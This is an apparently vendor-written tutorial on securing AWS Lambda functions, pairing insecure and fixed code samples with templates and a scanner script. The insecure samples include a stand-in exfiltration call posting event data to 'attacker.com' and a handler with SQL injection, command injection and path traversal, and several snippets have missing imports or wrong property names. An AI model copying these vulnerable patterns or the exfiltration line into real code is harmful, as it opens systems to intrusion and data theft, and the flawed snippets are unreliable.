· PathShield Team · Tutorials · 10 min read
AWS Lambda Security Best Practices for Startups (2025 Guide)
Secure your serverless functions from day one. Learn practical Lambda security practices that prevent breaches without slowing down development.
AWS Lambda Security Best Practices for Startups (2025 Guide)
Lambda functions seem secure by default—they’re isolated, temporary, and managed by AWS. But startups consistently make the same Lambda security mistakes that lead to breaches. This guide shows you how to secure your serverless functions without slowing down development.
The Lambda Security Reality Check
What makes Lambda appealing:
- No servers to patch
- Automatic scaling
- Pay-per-invocation
- Built-in monitoring
What makes Lambda dangerous:
- Over-privileged execution roles
- Hardcoded secrets in code
- Overly permissive network access
- Poor logging and monitoring
The most common Lambda breach pattern? A developer hardcodes AWS credentials, commits to GitHub, and attackers use the Lambda function as a pivot point to access your entire infrastructure.
The 7 Critical Lambda Security Practices
1. Master IAM Permissions (The #1 Lambda Security Issue)
The Problem: Developers give Lambda functions AdministratorAccess
because it’s easier than figuring out specific permissions.
# ❌ This Lambda function can destroy your entire AWS account
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
The Fix: Start with zero permissions and add only what’s needed.
# ✅ Least privilege Lambda execution role
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:*:*:*"
},
{
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:PutItem"
],
"Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Users"
}
]
}
Permission Discovery Script:
import boto3
import json
def discover_lambda_permissions(function_name):
"""Analyze Lambda function to suggest minimal permissions"""
# Download function code
lambda_client = boto3.client('lambda')
response = lambda_client.get_function(FunctionName=function_name)
# Parse code for AWS service calls
code_location = response['Code']['Location']
# This would analyze the code and suggest permissions
# For demo, here's what you'd typically find:
suggested_permissions = {
"DynamoDB": {
"actions": ["dynamodb:GetItem", "dynamodb:PutItem"],
"reason": "Found boto3.client('dynamodb') calls"
},
"S3": {
"actions": ["s3:GetObject"],
"reason": "Found s3.get_object() call"
},
"Secrets Manager": {
"actions": ["secretsmanager:GetSecretValue"],
"reason": "Found secrets access pattern"
}
}
return suggested_permissions
# Use AWS CloudTrail to see what permissions are actually used
def analyze_actual_permissions(function_name, days=7):
"""Analyze CloudTrail to see what permissions Lambda actually uses"""
cloudtrail = boto3.client('cloudtrail')
# Get events for the Lambda function
events = cloudtrail.lookup_events(
LookupAttributes=[
{
'AttributeKey': 'ResourceName',
'AttributeValue': function_name
}
],
StartTime=datetime.now() - timedelta(days=days)
)
actual_actions = set()
for event in events['Events']:
actual_actions.add(event['EventName'])
return list(actual_actions)
2. Never Hardcode Secrets (Use AWS Secrets Manager)
The Problem:
# ❌ This is how startups get breached
import os
DATABASE_PASSWORD = "super_secret_password_123"
API_KEY = "sk_live_1234567890abcdef"
def lambda_handler(event, context):
# Connect to database with hardcoded password
conn = psycopg2.connect(
host="prod-db.123456.us-east-1.rds.amazonaws.com",
password=DATABASE_PASSWORD
)
The Fix:
# ✅ Secure secrets management
import boto3
import json
def get_secret(secret_name):
"""Retrieve secret from AWS Secrets Manager"""
secrets_client = boto3.client('secretsmanager')
try:
response = secrets_client.get_secret_value(SecretId=secret_name)
return json.loads(response['SecretString'])
except Exception as e:
print(f"Error retrieving secret: {e}")
raise
def lambda_handler(event, context):
# Get database credentials securely
db_secrets = get_secret('prod/database/credentials')
conn = psycopg2.connect(
host=db_secrets['host'],
username=db_secrets['username'],
password=db_secrets['password'],
database=db_secrets['database']
)
Environment Variables (Less Secure Alternative):
# Better than hardcoding, but secrets are visible in console
import os
def lambda_handler(event, context):
database_url = os.environ['DATABASE_URL'] # Still visible in AWS console
api_key = os.environ['API_KEY'] # Anyone with Lambda access can see
Secrets Management Template:
# CloudFormation template for secrets
Resources:
DatabaseSecret:
Type: AWS::SecretsManager::Secret
Properties:
Name: prod/database/credentials
Description: Production database credentials
GenerateSecretString:
SecretStringTemplate: '{"username": "admin"}'
GenerateStringKey: password
PasswordLength: 32
ExcludeCharacters: '"@/\'
LambdaRole:
Type: AWS::IAM::Role
Properties:
Policies:
- PolicyName: SecretsAccess
PolicyDocument:
Statement:
- Effect: Allow
Action: secretsmanager:GetSecretValue
Resource: !Ref DatabaseSecret
3. Secure Network Configuration
The Problem: Lambda functions run in AWS’s default network, giving them internet access by default.
# ❌ Lambda has unrestricted internet access
# Can download malware, exfiltrate data, call external APIs
def lambda_handler(event, context):
# This Lambda can reach any website
response = requests.get("https://malicious-site.com/steal-data")
# Or exfiltrate your data
requests.post("https://attacker.com/data", json=event)
The Fix - VPC Configuration:
# CloudFormation - Put Lambda in private subnet
LambdaFunction:
Type: AWS::Lambda::Function
Properties:
VpcConfig:
SecurityGroupIds:
- !Ref LambdaSecurityGroup
SubnetIds:
- !Ref PrivateSubnet1
- !Ref PrivateSubnet2
LambdaSecurityGroup:
Type: AWS::EC2::SecurityGroup
Properties:
GroupDescription: Lambda security group
VpcId: !Ref VPC
SecurityGroupEgress:
# Only allow HTTPS to specific services
- IpProtocol: tcp
FromPort: 443
ToPort: 443
CidrIp: 0.0.0.0/0
Description: HTTPS for AWS services
# Block everything else
Network Monitoring Script:
def monitor_lambda_network_access():
"""Monitor and alert on unexpected Lambda network calls"""
# Check VPC Flow Logs for Lambda traffic
logs_client = boto3.client('logs')
# Query for Lambda network connections
query = """
fields @timestamp, srcaddr, dstaddr, dstport, action
| filter srcport >= 32768
| filter action = "ACCEPT"
| stats count() by dstaddr, dstport
| sort count desc
"""
response = logs_client.start_query(
logGroupName='/aws/lambda/my-function',
startTime=int((datetime.now() - timedelta(hours=1)).timestamp()),
endTime=int(datetime.now().timestamp()),
queryString=query
)
# Alert on unexpected destinations
suspicious_destinations = [
'0.0.0.0', # Broadcast
'127.0.0.1', # Localhost
# Add known malicious IPs
]
# Process results and alert
results = logs_client.get_query_results(queryId=response['queryId'])
for result in results.get('results', []):
dest_ip = result[1]['value']
if any(sus in dest_ip for sus in suspicious_destinations):
send_security_alert(f"Suspicious network access: {dest_ip}")
4. Input Validation and Sanitization
The Problem: Lambda functions often process untrusted input from API Gateway, S3 events, or SQS without validation.
# ❌ No input validation - injection vulnerability
def lambda_handler(event, context):
# Direct use of user input
user_id = event['pathParameters']['user_id']
# SQL injection vulnerability
query = f"SELECT * FROM users WHERE id = {user_id}"
# Command injection vulnerability
os.system(f"convert {event['filename']} output.jpg")
# Path traversal vulnerability
with open(f"/tmp/{event['filename']}", 'r') as f:
content = f.read()
The Fix:
# ✅ Proper input validation
import re
import sqlite3
from pathlib import Path
def validate_user_id(user_id):
"""Validate user ID format"""
if not isinstance(user_id, str):
raise ValueError("User ID must be string")
if not re.match(r'^[a-zA-Z0-9\-]{1,50}$', user_id):
raise ValueError("Invalid user ID format")
return user_id
def lambda_handler(event, context):
try:
# Validate input
user_id = validate_user_id(event.get('pathParameters', {}).get('user_id'))
# Use parameterized queries
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
# Validate file paths
filename = event.get('filename', '')
safe_path = Path('/tmp') / Path(filename).name # Removes path traversal
if not safe_path.exists():
raise ValueError("File not found")
with open(safe_path, 'r') as f:
content = f.read()
except ValueError as e:
return {
'statusCode': 400,
'body': json.dumps({'error': str(e)})
}
except Exception as e:
# Log error but don't expose internals
print(f"Internal error: {e}")
return {
'statusCode': 500,
'body': json.dumps({'error': 'Internal server error'})
}
5. Enable Comprehensive Logging
The Problem: Default Lambda logging is minimal and doesn’t help with security investigations.
# ❌ Poor logging practices
def lambda_handler(event, context):
print("Function started") # No context
try:
# Some processing
result = process_data(event)
print("Success") # No details
return result
except Exception as e:
print(f"Error: {e}") # Might expose sensitive data
raise
The Fix:
# ✅ Security-focused logging
import json
import logging
import uuid
from datetime import datetime
# Configure structured logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)
def lambda_handler(event, context):
# Generate request ID for tracing
request_id = str(uuid.uuid4())
# Log function start with context
logger.info(json.dumps({
'event': 'function_start',
'request_id': request_id,
'function_name': context.function_name,
'timestamp': datetime.utcnow().isoformat(),
'source_ip': event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
'user_agent': event.get('headers', {}).get('User-Agent')
}))
try:
# Log security-relevant events
if 'user_id' in event:
logger.info(json.dumps({
'event': 'user_access',
'request_id': request_id,
'user_id': hash_pii(event['user_id']), # Hash PII
'action': event.get('action', 'unknown')
}))
result = process_data(event)
# Log success
logger.info(json.dumps({
'event': 'function_success',
'request_id': request_id,
'duration_ms': context.get_remaining_time_in_millis()
}))
return result
except Exception as e:
# Log error without sensitive data
logger.error(json.dumps({
'event': 'function_error',
'request_id': request_id,
'error_type': type(e).__name__,
'error_message': str(e)[:200] # Truncate to avoid log injection
}))
raise
def hash_pii(data):
"""Hash PII for logging"""
import hashlib
return hashlib.sha256(str(data).encode()).hexdigest()[:16]
6. Implement Function-Level Security
Dead Letter Queues for Failed Invocations:
LambdaFunction:
Type: AWS::Lambda::Function
Properties:
DeadLetterConfig:
TargetArn: !GetAtt DeadLetterQueue.Arn
ReservedConcurrencyLimit: 100 # Prevent runaway costs
DeadLetterQueue:
Type: AWS::SQS::Queue
Properties:
MessageRetentionPeriod: 1209600 # 14 days
KmsMasterKeyId: alias/aws/sqs
Runtime Security Monitoring:
import psutil
import json
def security_monitor_wrapper(func):
"""Decorator to monitor Lambda function security"""
def wrapper(event, context):
# Monitor resource usage
initial_memory = psutil.virtual_memory().used
start_time = time.time()
try:
result = func(event, context)
# Check for unusual resource usage
final_memory = psutil.virtual_memory().used
memory_delta = final_memory - initial_memory
duration = time.time() - start_time
if memory_delta > 100 * 1024 * 1024: # 100MB
logger.warning(f"High memory usage: {memory_delta} bytes")
if duration > 30: # 30 seconds
logger.warning(f"Long execution time: {duration} seconds")
return result
except Exception as e:
logger.error(f"Function error: {type(e).__name__}")
raise
return wrapper
@security_monitor_wrapper
def lambda_handler(event, context):
# Your function logic here
pass
7. Secure Dependencies and Layers
The Problem: Lambda functions often include vulnerable dependencies or use untrusted layers.
# ❌ Vulnerable dependencies
# requirements.txt
requests==2.25.1 # Has known vulnerabilities
urllib3==1.26.2 # Outdated version
The Fix:
# ✅ Dependency security scanning
# requirements.txt
requests==2.31.0 # Latest secure version
urllib3==2.0.4 # Latest secure version
# Use pip-audit to check for vulnerabilities
# pip install pip-audit
# pip-audit
Automated Dependency Scanning:
# .github/workflows/lambda-security.yml
name: Lambda Security Scan
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.9'
- name: Install dependencies
run: |
pip install pip-audit safety
pip install -r requirements.txt
- name: Run security audit
run: |
pip-audit
safety check
- name: Scan Lambda code
run: |
# Use bandit for Python security linting
pip install bandit
bandit -r lambda_function.py
Lambda Security Checklist for Startups
Pre-Deployment (Development Phase)
- Use least-privilege IAM roles
- Store secrets in AWS Secrets Manager
- Implement input validation
- Add structured logging
- Scan dependencies for vulnerabilities
- Review environment variables for secrets
Post-Deployment (Production Phase)
- Monitor CloudWatch logs for anomalies
- Set up alerts for failed invocations
- Configure dead letter queues
- Implement VPC configuration if needed
- Regular permission audits
- Monitor function duration and memory usage
Ongoing Security (Maintenance)
- Monthly dependency updates
- Quarterly permission reviews
- Annual security testing
- Incident response procedures
- Security training for developers
Common Lambda Security Gotchas
1. Function URLs vs API Gateway
# Function URLs are great for simplicity but lack:
# - Authentication/authorization
# - Request/response validation
# - Rate limiting
# - Detailed logging
# Use API Gateway for production workloads
2. Container Image Security
# ❌ Vulnerable base image
FROM python:3.9
# ✅ Minimal, security-focused image
FROM public.ecr.aws/lambda/python:3.9
COPY requirements.txt .
RUN pip install -r requirements.txt --no-cache-dir
COPY lambda_function.py .
CMD ["lambda_function.lambda_handler"]
3. Temporary File Security
# ❌ Insecure temp file handling
def lambda_handler(event, context):
with open('/tmp/data.txt', 'w') as f:
f.write(event['sensitive_data']) # Readable by other functions
# ✅ Secure temp file handling
import tempfile
import os
def lambda_handler(event, context):
with tempfile.NamedTemporaryFile(mode='w', delete=False) as f:
f.write(event['sensitive_data'])
temp_file = f.name
try:
# Process file
process_file(temp_file)
finally:
# Always clean up
os.unlink(temp_file)
Automated Lambda Security Scanning
#!/usr/bin/env python3
"""
Automated Lambda security scanner
Checks common security issues across all Lambda functions
"""
import boto3
import json
from datetime import datetime, timedelta
class LambdaSecurityScanner:
def __init__(self):
self.lambda_client = boto3.client('lambda')
self.iam_client = boto3.client('iam')
self.findings = []
def scan_all_functions(self):
"""Scan all Lambda functions for security issues"""
functions = self.lambda_client.list_functions()['Functions']
for function in functions:
self.scan_function(function)
def scan_function(self, function):
"""Scan individual function"""
function_name = function['FunctionName']
# Check IAM permissions
role_arn = function['Role']
role_name = role_arn.split('/')[-1]
self.check_permissions(function_name, role_name)
# Check environment variables for secrets
self.check_environment_variables(function_name, function.get('Environment', {}))
# Check VPC configuration
self.check_vpc_config(function_name, function.get('VpcConfig'))
# Check runtime version
self.check_runtime(function_name, function['Runtime'])
def check_permissions(self, function_name, role_name):
"""Check for overly permissive IAM roles"""
try:
# Get attached policies
policies = self.iam_client.list_attached_role_policies(RoleName=role_name)
for policy in policies['AttachedPolicies']:
if policy['PolicyName'] in ['AdministratorAccess', 'PowerUserAccess']:
self.add_finding(
function_name,
'CRITICAL',
'Overly Permissive Role',
f"Function has {policy['PolicyName']} policy attached"
)
except Exception as e:
print(f"Error checking permissions for {function_name}: {e}")
def check_environment_variables(self, function_name, env_config):
"""Check environment variables for secrets"""
variables = env_config.get('Variables', {})
secret_patterns = [
'password', 'secret', 'key', 'token', 'api_key',
'private_key', 'credential', 'auth'
]
for var_name, var_value in variables.items():
if any(pattern in var_name.lower() for pattern in secret_patterns):
self.add_finding(
function_name,
'HIGH',
'Potential Secret in Environment Variable',
f"Variable '{var_name}' may contain sensitive data"
)
def add_finding(self, function_name, severity, issue_type, description):
"""Add security finding"""
self.findings.append({
'FunctionName': function_name,
'Severity': severity,
'IssueType': issue_type,
'Description': description,
'Timestamp': datetime.now().isoformat()
})
def generate_report(self):
"""Generate security report"""
if not self.findings:
print("✅ No security issues found in Lambda functions!")
return
print(f"\n🔍 Lambda Security Scan Results")
print(f"Found {len(self.findings)} issues\n")
# Group by severity
by_severity = {}
for finding in self.findings:
severity = finding['Severity']
if severity not in by_severity:
by_severity[severity] = []
by_severity[severity].append(finding)
for severity in ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW']:
if severity in by_severity:
print(f"\n{severity} ({len(by_severity[severity])} issues):")
for finding in by_severity[severity]:
print(f" 📍 {finding['FunctionName']}: {finding['Description']}")
# Run scanner
scanner = LambdaSecurityScanner()
scanner.scan_all_functions()
scanner.generate_report()
Conclusion
Lambda security isn’t automatic—it requires intentional design and ongoing vigilance. The good news? Most Lambda security issues are preventable with the right practices from day one.
Start with least-privilege IAM roles, never hardcode secrets, validate all inputs, and monitor everything. These basics will prevent 95% of Lambda-related security incidents.
Your next steps:
- Audit existing Lambda functions with the security scanner
- Fix any critical findings (overprivileged roles, hardcoded secrets)
- Implement the security practices in your deployment pipeline
- Schedule monthly security reviews
Want continuous Lambda security monitoring without the scripts? Tools like PathShield automatically detect Lambda misconfigurations and alert you to security risks before they become breaches.